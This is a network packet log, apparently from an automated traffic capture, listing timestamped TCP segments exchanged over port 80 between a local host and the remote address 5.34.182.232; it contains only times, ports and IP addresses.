Apr 20, 2024 10:22:57.920453072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920469999 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920489073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920523882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920542955 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920561075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920598030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920614004 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920636892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920674086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920691013 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920711040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920747042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920763969 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920783043 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920821905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920833111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920859098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920895100 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920909882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.920931101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920967102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.920981884 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.921004057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921040058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921056032 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.921077013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921118975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921135902 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.921154976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921191931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921226978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.921227932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921264887 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921272993 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.921302080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.921351910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.947901964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.947964907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.947985888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.948007107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.948025942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.948064089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.948204994 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.159521103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.159569979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.159612894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.159646034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.159652948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.159859896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161036968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161073923 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161109924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161130905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161147118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161183119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161197901 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161220074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161257029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161273003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161293983 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161330938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161349058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161365986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161402941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161418915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161438942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161492109 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161493063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161530018 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161565065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161582947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161602020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161639929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161655903 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161678076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161712885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161730051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161747932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161784887 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161798954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161822081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161859035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161875963 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161895037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161931038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.161947012 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.161969900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162004948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162022114 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162040949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162076950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162095070 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162113905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162148952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162166119 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162185907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162220955 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162239075 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162256956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162292957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162308931 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162331104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162365913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162381887 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162403107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162439108 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162453890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162475109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162513971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162527084 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162549973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162585974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162601948 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162622929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162658930 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162672043 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162700891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162738085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162750959 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162775040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162810087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162828922 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162846088 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162880898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162897110 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.162918091 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162952900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162987947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.162987947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163024902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163044930 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163060904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163096905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163115025 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163134098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163168907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163186073 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163206100 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163240910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163259029 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163278103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163314104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163331032 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163351059 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163386106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163402081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163423061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163459063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163475990 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163496017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163532972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163546085 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163568974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163605928 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163620949 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163642883 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163678885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163695097 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163716078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163752079 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163768053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163788080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163824081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163840055 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163860083 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163896084 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163912058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.163932085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163968086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.163983107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164004087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164040089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164053917 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164076090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164129972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164135933 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164166927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164203882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164221048 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164241076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164277077 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164293051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164314032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164350986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164366961 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164386988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164422989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164438963 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164458990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164494991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164510965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164531946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164567947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164582968 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.164604902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.164659023 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.187930107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.187947035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.188008070 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.188072920 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.188086987 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.188107014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.188118935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.188141108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.188175917 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.399722099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.399791956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.399830103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.399872065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.399944067 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.399944067 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404270887 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404294968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404311895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404330015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404347897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404366970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404377937 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404386044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404403925 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404422045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404457092 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404464960 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404483080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404503107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404512882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404520988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404537916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404551983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404556036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404573917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404573917 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404593945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404612064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404622078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404629946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404649973 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404653072 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404668093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404685020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404689074 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404702902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404721022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404723883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404741049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404757977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404762983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404774904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404794931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404803991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404812098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404830933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404838085 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404848099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404865026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404870987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404881001 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404898882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404906988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404915094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404932976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404941082 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404951096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404968023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.404978037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.404984951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405004025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405009031 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405021906 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405039072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405045986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405081987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405163050 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405180931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405199051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405219078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405220032 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405236959 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405255079 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405255079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405273914 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405291080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405292988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405308962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405324936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405334949 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405342102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405358076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405359983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405380011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405397892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405399084 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405416965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405433893 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405442953 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405452013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405467033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405478954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405484915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405503035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405507088 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405514956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405522108 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405533075 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405539036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405558109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405567884 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405575037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405591965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405610085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405618906 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405627966 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405638933 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405646086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405663013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405678988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405678988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405697107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405706882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405714989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405734062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405745983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405750990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405761003 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405777931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405797958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405802011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405818939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405819893 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405837059 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405846119 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405854940 CEST	80	49708	5.34.182.232	192.168.2.5
